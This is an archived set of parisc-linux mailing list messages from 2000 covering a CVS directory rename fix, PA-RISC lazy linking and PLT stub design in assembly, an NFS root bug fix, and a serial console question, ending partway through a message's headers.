Original-X-From: mang@subcarrier.org  Mon Sep 25 19:57:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA24880
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 19:57:20 -0600
Original-Received: (qmail 12079 invoked by uid 15267); 26 Sep 2000 01:58:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12066 invoked from network); 26 Sep 2000 01:58:06 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 01:58:06 -0000
Original-Received: (qmail 21512 invoked from network); 26 Sep 2000 01:57:39 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 26 Sep 2000 01:57:39 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7995

The directory renaming in the repository is complete.  The new (and
hopefully final) directory names are "linux" and "binutils", as you
might expect.

The trick to get your old tree in sync with the new directory names,
courtesy of Alan Modra:

cd linux-2.3
for z in `find . -name Repository`
do
  sed -e 's/-2.3//' $z > zzz && mv zzz $z
done

And for binutils-2.10:

cd binutils-2.10
for z in `find . -name Repository`
do
  sed -e 's/-2.10//' $z > zzz && mv zzz $z
done


You will no longer be able to update or run other commands on an old
tree that hasn't been munged with the sed trick.  Instead you'll run
into a fake lock that will hopefully lead you to this message.

e.g.
[mang@lovehaze linux-2.3]$ cvs up
cvs server: Updating .
cvs server: [19:44:53] waiting for dir_renamed_read_your_mail's lock in
/home/cvs/parisc/linux-2.3

I for one regard renaming directories in the repository to be a great
evil.  So please try not to create any unnecessary top-level
directories.  I'd be happy to help anyone create a branch instead of
having to go through renaming again :)

	- Mike.


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs renaming complete
Date: Mon, 25 Sep 2000 22:05:33 -0400
Organization: The Puffins at Linuxcare
Lines: 13
Approved: news@gmane.org
Message-ID: <39D0046D.511F2769@linuxcare.com>
References: <39D002FB.242B2DD4@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619143 4059 80.91.229.3 (22 Nov 2014 01:19:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: adevries@linuxcare.com  Mon Sep 25 20:01:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA25272
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 20:01:25 -0600
Original-Received: (qmail 15335 invoked by uid 15267); 26 Sep 2000 02:02:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15322 invoked from network); 26 Sep 2000 02:02:11 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 02:02:11 -0000
Original-Received: (qmail 14989 invoked from network); 26 Sep 2000 02:02:10 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 26 Sep 2000 02:02:10 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7996


I've fixed the nightly runs so the cvs-over-ftp system should tonight
deliver
the correct files.

- Alex
-- 
Alex deVries, Director of Professional Services, The Puffins at
Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Lazy linking issues
Date: Tue, 26 Sep 2000 15:32:43 +1100 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009261356570.10967-100000@front.linuxcare.com.au>
References: <87k8c0kmvp.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619144 4060 80.91.229.3 (22 Nov 2014 01:19:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Mon Sep 25 22:32:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA26374
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 22:32:17 -0600
Original-Received: (qmail 31241 invoked by uid 15267); 26 Sep 2000 04:32:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31215 invoked from network); 26 Sep 2000 04:32:56 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 04:32:56 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA18231;
	Tue, 26 Sep 2000 15:32:43 +1100
In-Reply-To: <87k8c0kmvp.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7997

On 25 Sep 2000, David Huggins-Daines wrote:

> This means that my old idea of storing the index of the IPLT
> relocation in each PLT slot in elf_machine_runtime_setup() was
> essentially correct, but then we have the problem of how to get at the
> reserved area of the GOT.  There is basically no way to do this that I
> can think of without adding another word to the PLT slot (which might
> not be a bad idea, actually).

The easiest thing would be to make PLTGOT always point to the start of
.got, which is what most other architectures do.  Having PLTGOT (and
hence the linkage table pointer) point elsewhere is just an optimisation
of dubious value.  At the moment we don't try to remove the addil's from
import stubs anyway, and in any case, positioning the LTP at the start of
the .got (which is also the end of the .plt) is a fairly good choice for
addressing both .plt and .got with 14-bit offsets.

Is this enough for lazy linking?  No, because each jump through a plt
entry needs to pass it's .got (struct link_map really) as well as pltrel
offset to the fixup routine.  I think the dynamic linker needs some help
from the linker.  Again stealing ideas from other architectures, let's
modify the linker to set up the .plt function pointers to point back to
the start of the plt.  We'll reserve some space at the start of the plt
for code to load any necessary pointers into registers.
elf_machine_runtime_setup will need to relocate the .plt function
pointers, and also the code at the start of the plt unless I can make it
PIC.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Lazy linking issues
Date: Tue, 26 Sep 2000 19:08:20 +1100 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009261648260.10967-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0009261356570.10967-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619144 4063 80.91.229.3 (22 Nov 2014 01:19:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 26 02:08:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA03472
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 02:08:11 -0600
Original-Received: (qmail 16552 invoked by uid 15267); 26 Sep 2000 08:08:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16356 invoked from network); 26 Sep 2000 08:08:46 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 08:08:46 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA23051;
	Tue, 26 Sep 2000 19:08:20 +1100
In-Reply-To: <Pine.LNX.4.21.0009261356570.10967-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7998

OK, here's what I've come up with.

First four entries of the .got are
 0x0 - pointer to dynamic section (as before)
 0x4 - pointer to this object's struct link_map (as before)
 0x8 - address of the fixup function (normal or profile)
 0xc - the LTP value for the fixup function

Code at the start of the .plt looks like:
	b,l	1f,%r26
	depi	0,31,2,%r26
1:	addil	LD'_GLOBAL_OFFSET_TABLE_ + 8 - ($PIC_pcrel$0 - 8),%r26
	ldwm	RD'_GLOBAL_OFFSET_TABLE_ + 8 - ($PIC_pcrel$0 - 12)(%r1),%r26
	copy	%r19,%r25
	ldw	4(%r1),%r19
	bv	%r0(%r26)
	ldw	-4(%r1),%r26

which puts struct link_map * in %r26, reloc offset in %r25, fixup LTP in
%r19, &got[2] in %r1, and branches to the address in got[2].  Funny
enough, this code exposed the fact that gas currently doesn't handle
relocs using the LD and RD field selectors.

A non-pic version saving 2 instructions, but meaning the dynamic linker
needs to relocate some insns:
	ldil	LD'_GLOBAL_OFFSET_TABLE_ + 8,%r1
	ldwm	RD'_GLOBAL_OFFSET_TABLE_ + 8(%r1),%r26
	copy	%r19,%r25
	ldw	4(%r1),%r19
	bv	%r0(%r26)
	ldw	-4(%r1),%r26

We still need some means for elf_machine_runtime_setup to figure out
where the .got starts.  One way is to make PLTGOT do this for us, which is
my preferred solution.  Alternatives would be a) read the elf section
headers, or b) look at the first iplt reloc to find an entry in the .plt,
read the function pointer which give us the above code, extract the .got
pointer from the addil/ldil and ldwm insns.  Was that retching I heard?

Hmm, one variation on this theme that occurs to me, is to put the above
code at the _end_ of the plt - the advantage is that the .got is right
next-door, so we don't need the addil, and case b) above becomes a little
simpler.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Lazy linking issues
Date: Wed, 27 Sep 2000 01:21:24 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009270114210.10967-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0009261648260.10967-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619144 4067 80.91.229.3 (22 Nov 2014 01:19:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 26 08:20:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA07728
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 08:20:48 -0600
Original-Received: (qmail 30611 invoked by uid 15267); 26 Sep 2000 14:21:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30540 invoked from network); 26 Sep 2000 14:21:32 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 14:21:32 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA30207;
	Wed, 27 Sep 2000 01:21:24 +1100
In-Reply-To: <Pine.LNX.4.21.0009261648260.10967-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7999

On Tue, 26 Sep 2000, Alan Modra wrote:

> Code at the start of the .plt looks like:
> 	b,l	1f,%r26
> 	depi	0,31,2,%r26
> 1:	addil	LD'_GLOBAL_OFFSET_TABLE_ + 8 - ($PIC_pcrel$0 - 8),%r26
> 	ldwm	RD'_GLOBAL_OFFSET_TABLE_ + 8 - ($PIC_pcrel$0 - 12)(%r1),%r26
> 	copy	%r19,%r25
> 	ldw	4(%r1),%r19
> 	bv	%r0(%r26)
> 	ldw	-4(%r1),%r26

That's all a bit silly.  How come no-one noticed and told me how foolish 
I am?  We can't trash the arg registers willy-nilly.

I'm going for a stub at the end of the .plt, with .plt and .got guaranteed
to be glued together.  The fixup fptr will be immediately after the stub
at the end of the .plt, ie. at got[-2] istead of got[2].

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Lazy linking issues
Date: 26 Sep 2000 10:26:37 -0400
Organization: Linuxcare, Inc.
Lines: 32
Approved: news@gmane.org
Message-ID: <87em27kz4y.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0009270114210.10967-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619144 4070 80.91.229.3 (22 Nov 2014 01:19:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Tue Sep 26 08:26:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08059
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 08:26:00 -0600
Original-Received: (qmail 4415 invoked by uid 15267); 26 Sep 2000 14:26:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4396 invoked from network); 26 Sep 2000 14:26:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 14:26:46 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13dvgr-00074s-00; Tue, 26 Sep 2000 10:26:37 -0400
In-Reply-To: Alan Modra's message of "Wed, 27 Sep 2000 01:21:24 +1100 (EST)"
Original-Lines: 31
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8000

Alan Modra <alan@linuxcare.com.au> writes:

> On Tue, 26 Sep 2000, Alan Modra wrote:
> 
> > Code at the start of the .plt looks like:
> > 	b,l	1f,%r26
> > 	depi	0,31,2,%r26
> > 1:	addil	LD'_GLOBAL_OFFSET_TABLE_ + 8 - ($PIC_pcrel$0 - 8),%r26
> > 	ldwm	RD'_GLOBAL_OFFSET_TABLE_ + 8 - ($PIC_pcrel$0 - 12)(%r1),%r26
> > 	copy	%r19,%r25
> > 	ldw	4(%r1),%r19
> > 	bv	%r0(%r26)
> > 	ldw	-4(%r1),%r26
> 
> That's all a bit silly.  How come no-one noticed and told me how foolish 
> I am?  We can't trash the arg registers willy-nilly.

Probably because I was asleep :)

> I'm going for a stub at the end of the .plt, with .plt and .got guaranteed
> to be glued together.  The fixup fptr will be immediately after the stub
> at the end of the .plt, ie. at got[-2] istead of got[2].

Okay.  I suppose I will take the same approach as the Alpha code does,
and look for a particular instruction at the end of the GOT in
elf_machine_runtime_setup() as an indication of whether lazy linking
can be done or not.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Mon, 29 Mar 1999 13:50:43 -0800 (PST)
Lines: 17
Approved: news@gmane.org
Message-ID: <199903292150.NAA30430@bart.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619145 4074 80.91.229.3 (22 Nov 2014 01:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:05 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: sieler@bart.allegro.com  Mon Mar 29 16:50:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA04371
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 16:50:56 -0500
Original-Received: (qmail 5103 invoked by uid 15267); 29 Mar 1999 21:49:28 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 5096 invoked from network); 29 Mar 1999 21:49:27 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 21:49:27 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id NAA30430
	for hppa-linux@thepuffingroup.com; Mon, 29 Mar 1999 13:50:44 -0800
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:8001

Hi,

> okie, but why emulating gate instruction, when there is already such
> instruction exist? (;

Simple: HP does this...there must be a reason.

They appear to do it on selected models of PA-RISC systems.  Why?  Don't know.

I can only conjecture...and the conjecture is the obvious one: there must be
some circumstance where GATE fails.  Otherwise, *why* replace it with
a slightly slower mechanism?

-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NFS root fixed (I believe)
Date: Tue, 26 Sep 2000 08:40:42 -0600 (MDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <200009261440.IAA19705@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619145 4078 80.91.229.3 (22 Nov 2014 01:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Sep 26 08:40:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08896
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 08:40:01 -0600
Original-Received: (qmail 21527 invoked by uid 15267); 26 Sep 2000 14:40:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21516 invoked from network); 26 Sep 2000 14:40:47 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 14:40:47 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id 1DA462DA
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Sep 2000 08:40:53 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id IAA19705 for parisc-linux@thepuffingroup.com; Tue, 26 Sep 2000 08:40:42 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8002


I just checked in changes that I believe fix nfs root. It turns out
that the in_interrupt() macro was not working, probably due to a
2.4 merge mistake. Anyway, since it wasn't working, schedule() was
being called under interrupt. And since schedule calls in_interrupt()
to check for that possibility, it was not catching it, therefore it
was switching contexts under interrupt, trashing kernel stacks, etc.

John


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Lazy linking issues
Date: Wed, 27 Sep 2000 01:45:51 +1100 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009270130040.10967-100000@front.linuxcare.com.au>
References: <87em27kz4y.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619145 4080 80.91.229.3 (22 Nov 2014 01:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 26 08:45:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA09253
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 08:45:52 -0600
Original-Received: (qmail 29126 invoked by uid 15267); 26 Sep 2000 14:46:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29105 invoked from network); 26 Sep 2000 14:46:33 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 14:46:33 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA30589;
	Wed, 27 Sep 2000 01:45:51 +1100
In-Reply-To: <87em27kz4y.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8003

On 26 Sep 2000, David Huggins-Daines wrote:

> Okay.  I suppose I will take the same approach as the Alpha code does,
> and look for a particular instruction at the end of the GOT in
> elf_machine_runtime_setup() as an indication of whether lazy linking
> can be done or not.

Yep.  I'll check in my mods to dl-machine.h in a few minutes after I fix
this silly plt stub.

The plt stub looks like

1:	ldw	0(%r20),%r22
	bv	%r0(%r22)
	ldw	4(%r20),%r21
2:	b,l	1b,%r20
	depi	0,31,2,%r20
9:	.word 0xc0ffee
	.word 0xdeadbeef

with entry at label 2.  The idea here being that the linker can change the
plt stub without magic numbers in the dynamic linker needing to be
changed.  So we jump into the trampoline with r19 = reloc offset,
r20 = got-8, r21 = fixup ltp.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial console?
Date: Tue, 26 Sep 2000 10:25:45 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C20841F8C9@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619146 4084 80.91.229.3 (22 Nov 2014 01:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan_meyer@hp.com  Tue Sep 26 10:28:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10319
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 10:28:14 -0600
Original-Received: (qmail 30151 invoked by uid 15267); 26 Sep 2000 16:28:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30140 invoked from network); 26 Sep 2000 16:28:58 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 16:28:58 -0000
Original-Received: from omgw2.boi.hp.com (omgw2.boi.hp.com [15.56.8.102])
	by cosrel2.hp.com (Postfix) with ESMTP id 39379773
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Sep 2000 10:28:42 -0600 (MDT)
Original-Received: from xboibrg1.boi.hp.com (xboibrg1.boi.hp.com [15.56.8.167])
	by omgw2.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id KAA01360
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Sep 2000 10:28:57 -0600 (MDT)
Original-Received: by xboibrg1.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <TVQKM35S>; Tue, 26 Sep 2000 10:28:57 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8004

We are going to ship a PA box to the Atlanta Linux Symposium to be in the HP
booth.

My question - do we have enough working to just a standalone PA box, with
its own keyboard and serial console?   Has anyone been using this
configuration lately?  Does it work?

Alan


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Serial console?
Date: Tue, 26 Sep 2000 10:39:33 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C20841F8CA@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619146 4085 80.91.229.3 (22 Nov 2014 01:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan_meyer@hp.com  Tue Sep 26 10:38:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10712
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 10:38:58 -0600
Original-Received: (qmail 11684 invoked by uid 15267); 26 Sep 2000 16:39:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11563 invoked from network); 26 Sep 2000 16:39:40 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 16:39:40 -0000
Original-Received: from omgw1.boi.hp.com (omgw1.boi.hp.com [15.56.8.101])
	by atlrel2.hp.com (Postfix) with ESMTP id BADF0BAF
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Sep 2000 12:39:39 -0400 (EDT)
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by omgw1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id KAA13069
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Sep 2000 10:39:37 -0600 (MDT)
Original-Received: by xboibrg2.cv.hp.com with Internet Mail Service (5.5.2650.21)
